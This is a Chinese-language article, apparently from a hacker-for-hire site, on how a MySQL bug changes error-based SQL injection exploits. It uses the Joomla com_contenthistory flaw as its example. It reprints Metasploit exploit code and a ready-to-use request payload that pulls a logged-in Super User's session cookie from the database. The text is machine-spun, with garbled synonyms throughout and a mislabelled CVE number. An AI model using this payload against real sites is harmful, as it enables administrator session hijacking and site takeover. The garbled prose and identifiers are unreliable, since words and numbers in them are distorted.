你的PoC和EXP可能得改改了-黑客接单平台

访客5年前黑客工具1076
一、前语 在MySQL 5.7.5之前的所有主版别存在一个BUG,该或许导致影响POC/EXP需求从头编写或批改的问题。 BUG信息链接: https://bugs.mysql.com/bug.php?id=58081 二、问题阐明 在BUG阐明中,能够经过以下SQL句子复现: set names latin1;drop table if exists t1;create table t1(a int) engine=myisam;insert into t1 values (0),(0),(1),(0),(0);select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size)); MySQL版别低于5.7.5中,履行以上SQL句子,会报如下过错: Duplicate entry '107374182410737418241' for key 'group_key' 三、POC/EXP影响剖析 3.1 原因剖析 一般报错性SQL注入POC或EXP编写的时分,POC/EXP编写思路是经过SQL句子履行某个句子让WEB APP将报错(包括要履行的SQL句子查询成果)信息打印出来。 以Joomla__APP__SQL_Injection__CVE_2019_7297这个缝隙为例: 在Joomla 3.4.4b版别对应com_contenthistory组件的视图文件/administrator/components/com_contenthistory/views/history/view.html.php中: if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("n", $errors)); return false; } 呈现SQL句子查询SQL句子查询过错时,会将要害报错信息打印出来。 因而这也导致在MetaSploit 结构中,对应使用模块: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb 77行界说的sqli使用函数中,经过报错办法让Joomla将过错信息打印出来: def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id " # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } }) 经过MySQL查询日志,能够看到MSF履行sqli获取已登录的超级管理员用户的session_id(即身份令牌Cookie)时。履行SQL句子为: SELECT (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editorFROM `u6egd_ucm_history` AS hLEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_idWHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1ORDER BY `h`.`save_date` 留意: u6egd仅仅表前缀,不同环境下会改变。 该SQL句子实在履行后,报的过错如下: 因而,咱们可结构对应的Payload: /index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from %23__session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id 希望呼应含有已登陆超级管理员的session_id(即身份令牌Cookie): 咱们在MySQL 8.0版别中,看到没有报错了: [1][2]黑客接单网

相关文章

高手对决 -- 博客服务器被黑的故事

  每一个高手在生长路上, 都需要与墙作足够的对立. 要么你成功, 站在国际之颠, 然后纵情罗致到尖端的常识; 或许或被它打趴下, 成为芸芸众生中的一人, 然后对它习以为常. 我也不破例. 前不久,...

在Go中运用反向署理进行网络垂钓测验

关于一个进犯者来说,要想施行一次网络垂钓进犯,往往需求做很多的准备作业。例如建立垂钓站点,诱惑受害者上钩,捕获受害者的登录凭据等。为了防止这些冗杂的进程,本文我将教咱们运用Go自动化这些进程。 完好的...

TrickBot银行木马归来突击全球金融机构

一、布景 最近国外安全研究人员发现TrickBot银行木马最新的样本,深服气EDR安全团队对此事进行了相关跟进,获取到了相应的样本,并对样本进行了详细剖析,承认此样本为TrickBot银行盗号木马的最...

DVWA 1.10 High等级的CSRF另类通关法-黑客接单平台

网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈 0×00 简略剖析一下CSRF后端...

做了这么多年的兄弟,才知道我们不一样!请不要将工控系统中的IT(信息技术)和OT(运营

在工业操控体系(ICS)的安全办理中,安全办理一般被分为3大块:物理设备的安全、IT安全和运营安全(工厂安全和体系完整性)。 现在在工业操控体系(ICS)的安全办理中,信息技能(IT)安全测验变得越来...

运用Python检测并绕过Web应用程序防火墙

Web运用防火墙一般会被布置在Web客户端与Web服务器之间,以过滤来自服务器的歹意流量。而作为一名浸透测验人员,想要更好的打破方针体系,就有必要要了解方针体系的WAF规矩。现在,许多WAF都是根据签...